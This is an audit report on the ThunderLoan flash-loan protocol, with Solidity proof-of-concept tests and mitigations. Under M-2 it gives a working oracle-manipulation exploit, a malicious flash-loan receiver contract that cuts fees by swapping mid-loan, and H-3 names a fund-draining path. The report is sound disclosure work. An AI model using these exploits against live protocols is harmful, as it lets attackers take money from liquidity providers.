Thunder Loan Audit Report

Lead Auditors:

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Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
026da6e73fde0dd0a650d623d0411547e3188909
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Protocol Summary

The ⚡ ThunderLoan ⚡ protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

Findings

High

[H-1] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description: `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Code:

▶ Code

```
// You'll need to import `ThunderLoanUpgraded` as well
import { ThunderLoanUpgraded } from
"../../src/upgradedProtocol/ThunderLoanUpgraded.sol";

function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeTo(address(upgraded));
        uint256 feeAfterUpgrade = thunderLoan.getFee();
```

```
        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```diff
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-2] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

IMPACT: HIGH LIKELIHOOD: HIGH

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, updates this rate, without collecting any fees!

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        // @audit high
@>        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more that it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem

▶ Proof of Code

Place the following code into the `ThunderLoanTest.t.sol`

```
    function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), AMOUNT); // fee
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from `deposit`.

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

[H-3] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

[H-4] getPriceOfOnePoolTokenInWeth uses the TSwap price which doesn't account for decimals, also fee precision is 18 decimals

Medium

[M-1] Centralization risk for trusted owners

Impact:

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
File: src/protocol/ThunderLoan.sol

223:     function setAllowedToken(IERC20 token, bool allowed) external onlyOwner
returns (AssetToken) {

261:     function _authorizeUpgrade(address newImplementation) internal override
onlyOwner { }
```

Contralized owners can brick redemptions by disapproving of a specific token

[M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
   1. User sells 1000 `tokenA`, tanking the price.
   2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
      1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
    function getPriceInWeth(address token) public view returns (uint256) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
@>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
    }
```

```
3. The user then repays the first flash loan, and then repays the second flash
loan.
```

▶ Proof of Code

Place the following code in the `ThunderLoanTest.t.sol`

```
    function testCanManipuleOracleToIgnoreFees() public {
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");

        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
        pf.createPool(address(tokenA));

        address tswapPool = pf.getPool(address(tokenA));

        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // Fund tswap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
        vm.stopPrank();

        // Set allow token
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        // Add liquidity to ThunderLoan
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
        tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
        thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
        vm.stopPrank();

        // TSwap has 100 WETH & 100 tokenA
        // ThunderLoan has 1,000 tokenA
        // If we borrow 50 tokenA -> swap it for WETH (tank the price) -> borrow
another 50 tokenA (do something) ->
        // repay both
        // We pay drastically lower fees

        // here is how much we'd pay normally
        uint256 calculatedFeeNormal = thunderLoan.getCalculatedFee(tokenA,
100e18);

        uint256 amountToBorrow = 50e18; // 50 tokenA to borrow
        MaliciousFlashLoanReceiver flr =
        new MaliciousFlashLoanReceiver(address(tswapPool), address(thunderLoan),
address(thunderLoan.getAssetFromToken(tokenA)));
```

```
        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18); // mint our user 10 tokenA for the fees
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 calculatedFeeAttack = flr.feeOne() + flr.feeTwo();
        console.log("Normal fee: %s", calculatedFeeNormal);
        console.log("Attack fee: %s", calculatedFeeAttack);
        assert(calculatedFeeAttack < calculatedFeeNormal);
    }
```

Make a new contract in the file `ThunderLoanTest.t.sol` and include this code also to run the above test

```
    contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    bool attacked;
    BuffMockTSwap pool;
    ThunderLoan thunderLoan;
    address repayAddress;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address tswapPool, address _thunderLoan, address _repayAddress) {
        pool = BuffMockTSwap(tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /* initiator */
        bytes calldata /* params */
    )
        external
        returns (bool)
    {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            uint256 expected = pool.getOutputAmountBasedOnInput(50e18, 100e18,
100e18);
            IERC20(token).approve(address(pool), 50e18);
            pool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, expected,
block.timestamp);
            // we call a 2nd flash loan
            thunderLoan.flashloan(address(this), IERC20(token), amount, "");
            // Repay at the end
            // We can't repay back! Whoops!
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // IThunderLoan(address(thunderLoan)).repay(token, amount + fee);
```

```
            IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            feeTwo = fee;
            // We can't repay back! Whoops!
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // IThunderLoan(address(thunderLoan)).repay(token, amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }
        return true;
    }
}
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-4] Fee on transfer, rebase, etc

Low

[L-1] Empty Function Body - Consider commenting why

Instances (1):

```
File: src/protocol/ThunderLoan.sol

261:     function _authorizeUpgrade(address newImplementation) internal override
onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
File: src/protocol/OracleUpgradeable.sol

11:     function __Oracle_init(address poolFactoryAddress) internal
onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol

138:     function initialize(address tswapAddress) external initializer {

138:     function initialize(address tswapAddress) external initializer {
```

```
139:        __Ownable_init();

140:        __UUPSUpgradeable_init();

141:        __Oracle_init(tswapAddress);
```

[L-3] Missing critial event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```diff
+    event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

Informational

[I-1] Poor Test Coverage

```
Running tests...
| File                              | % Lines        | % Statements   | % Branches     | % Funcs        |
| --------------------------------- | -------------- | -------------- | -------------- | -------------- |
| src/protocol/AssetToken.sol       | 70.00% (7/10)  | 76.92% (10/13) | 50.00% (1/2)   | 66.67% (4/6)   |
| src/protocol/OracleUpgradeable.sol | 100.00% (6/6)  | 100.00% (9/9)  | 100.00% (0/0)  | 80.00% (4/5)   |
| src/protocol/ThunderLoan.sol      | 64.52% (40/62) | 68.35% (54/79) | 37.50% (6/16)  | 71.43% (10/14) |
```

[I-2] Not using `__gap[50]` for future storage collision mitigation

[I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6

[I-4] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.

Gas

[GAS-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private
s_currentlyFlashLoaning;
```

[GAS-2] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```

[GAS-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```diff
  s_exchangeRate = newExchangeRate;
- emit ExchangeRateUpdated(s_exchangeRate);
+ emit ExchangeRateUpdated(newExchangeRate);
```